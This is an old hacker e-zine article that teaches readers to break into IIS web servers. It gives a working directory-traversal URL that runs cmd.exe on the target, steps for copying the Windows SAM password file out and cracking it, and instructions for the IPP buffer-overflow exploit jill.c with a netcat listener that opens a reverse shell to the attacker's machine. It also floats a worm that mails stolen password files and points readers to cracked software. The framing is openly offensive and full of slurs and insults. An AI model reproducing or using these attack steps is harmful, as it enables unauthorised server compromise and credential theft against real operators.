IIS:- Hacking For The Retarded - Snafu
:'######::'##:::::'##::::'###::::'########:
'##... ##: ##:'##: ##:::'## ##:::... ##..::
##:::..:: ##: ##: ##::'##:. ##::::: ##::::
. ######:: ##: ##: ##:'##:::. ##:::: ##::::
:..... ##: ##: ##: ##: #########:::: ##::::
'##::: ##: ##: ##: ##: ##.... ##:::: ##::::
. ######::. ###. ###:: ##:::: ##:::: ##::::
:......::::...::...:::..:::::..:::::..:::::
___ ___ ___ _____ ___ ___________ _ _ _____
| \/ | / _ \| __ \ / _ \ |___ /_ _| \ | || ___|
| . . |/ /_\ \ | \// /_\ \ / / | | | \| || |__
| |\/| || _ | | __ | _ | / / | | | . ` || __|
| | | || | | | |_\ \| | | |./ /____| |_| |\ || |___
\_| |_/\_| |_/\____/\_| |_/\_____/\___/\_| \_/\____/
.'`-_-`',.`'-_ Issue 40 Article 11 _-'`,.'`-_-`',
(____________________________________________________)
| IIS:- Hacking For The Retarded |
(____________________________________________________)
Snafu
[x--------------------------------------------------x]
This month Bill Gates and his merry team of incompetents
have bought joy into the hearts of lamers and script
kiddies everywhere, with two brand new administrator
compromising exploits.
The first exploit was discovered by NSFOCUS and is really
quite clever it affects IIS4.0/5.0.
The problem is that when a CGI is run IIS decodes it twice.
First time it decodes the CGI filename will be to see if
its a executable. Then IIS will decode the CGI once again
to check the CGI parameters but mistakenly when the second
decode occurs it doesn't just decode the CGI parameters it
decodes the CGI filename AGAIN. which means we can sneak our
../../ around the IIS security filters :). we change our
../ to ..%255c because this after the initial decoding it
will be turned into ..%5c this will pass the security checks
but won't break you out of webroot, but because the filename
is accidently decoded one more time, ..%5c will be turned into
../ tada!
Heres the actual exploit URL
http://TARGET/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
this will show you the contents of C:\ and will look something like this
Directory of c:\
01/11/00 09:38a
Backup
08/27/97 04:09p bat
02/08/00 06:33a dpt
07/25/97 03:02p ExecSoft
07/25/97 07:53p InetPub
12/06/99 12:26p malafont
03/21/98 12:41p MSSQL
08/20/97 08:47a NM
10/02/98 02:09p Program Files
08/11/98 02:31p 8,168 SMSSETUP.LOG
05/25/01 09:03a TEMP
07/26/97 12:06p W3MB
03/08/01 05:42p webdocs
07/28/97 03:15p webtrend
05/26/01 03:00a WINNT
15 File(s) 8,168 bytes
120,239,616 bytes free
if we want to download a file then we must do
http://TARGET/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+copy+c:\blah.txt
that will copy blah.txt to www.target.com/scripts/blah.txt where
you can download the file, but before you go out and
"http://TARGET/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+copy+c:\WINNT\REPAIR\SAM"
everything is sight you must know that can only run commands
f IUSER_machinename. Which is shit basically you can copy most
stuff that in Inetpub normally and most stuff on C:\ but if you
are really lucky you might be able to copy the SAM to your
webdirectory (1in20 chance I would say) once you got the SAM
then you can download l0phtcrack from
http://www.securitysoftwaretech.com and run SAM audit on it.
You are probarly gonna need to brute it for a couple of days
if you wanna get the Admin password. there are cracks available
for l0pht crack on dalnet if your trial period has expired, I
have no problems with cracking l0pht software as the are no longe
working for the underground :(. theres a couple of perl scripts
available here
http://www.packetstorm.securify.com/filedesc/sensedecode.html
, but I really don't see any use for them, this is pretty straight
forward through your browser. mind you I think you can scan IP
blocks with these.
The Second exploit for this month was discovered by eeye, which
means its lame as fuck and is blatantly obvious .Eeye are the biggest
bunch of pricks ever don't ever believe the shit you read about
them being supa 1337 uberhaX0rz. its all hype and bullshit. if
you need any proof of this then please visit
http://www.attrition.org/mirror/attrition/2000/12/15/www.eeye.com
this exploit has only been released to plug there new product
SecureIIS which is shit and buggy as fuck anyway
http://neworder.box.sk/showme.php3?id=4718. The exploit however is
noway near as cleaver as the previous one and therefore eeye need
not take any credit for it. Its a basic bufferoverflow on an ISAPI
extention on IIS5 running on Win2g .the offending overflow is based
in an extention for Internet Printer Protocal (IPP.) IPP is for
remote printing and shit over HTTP so all webservers running this
extention unpatched are vulnarable. Originally when Eeye released
the exploit the proof of concept code that was released with it
didn't comprimise anything infact it was just made a plug for the
SecureIIS software on the victims server 31337!!! but within days
people modified the shellcode to make it the exploit a little more
serious. The first one released was jill.c this is quite a nice
piece of code as it overflows the extention then the shellcode makes
the victim server connect to your terminal on the port you specify,
connecting to Netcat running on your machine thus creating a reverse
shell. you control the remote machine like you were. you can download
Netcat for windows from http://www.securitysoftwaretech.com, to get
netcat running, type this at your command prompt 'nc -l -p 80 -vv'
it should look like this
C:\WINDOWS>cd C:\netcat
C:\netcat>nc -l -p 80 -vv
listening on [any] 80 ...
you need to run jill it should look something like this
with these parameters:
jill
it should look something like this:
./jill bnp.org.uk 80 213.20.34.89 80
ok you can download the C code for Jill variation of the exploit
written by dark spyrit from
http://www.packetstorm.securify.com/filedesc/jill.c.html
just compile and run it on your shell.
pretty straight forward stuff. once you got a command prompt you can
run shit as Local System security. that means you are the king of the
castle and can do almost anything. Its probarly not worth retrieving
the SAM cos once the admin realises they got hacked they will probarly
change all the passwd's on the system anyway. perhaps if you created a
worm to mail you the SAM on a certain date then you might be able to
work around it wouldn't be to hard to create something like that. or
you could simply steal the SAM straight away and use the admin account
to login and do your deeds instead of the exploit I dunno depends
whats best for the situation, infact they might not even have 21 or 23
open so you would be forced to use the exploit. Anyway its all common
sense at the end of the day.
there you go piece of piss hacking
Shoutz. NSFOCUS, dark spyrit, solidox, F_S, Phreakazoid, TheMalice,
^Nitr8^, Cheezy (for running through this for me), crypt, F3, Goblinz,
Juliet, DaSpikey1, MuNkAy, biohazard, rehack, odysseus, thedohboy,
WickedWolf, UnInViTeD, tikka, SWAP, lohap, DavieB, MoRSDeo.
and finally my idol, my god McHammer for giving me all the inspiration
and love needed to produce this file
Stop
.
.
.
.
.
.
.
.
.
.
Hammertime
[HammerOut]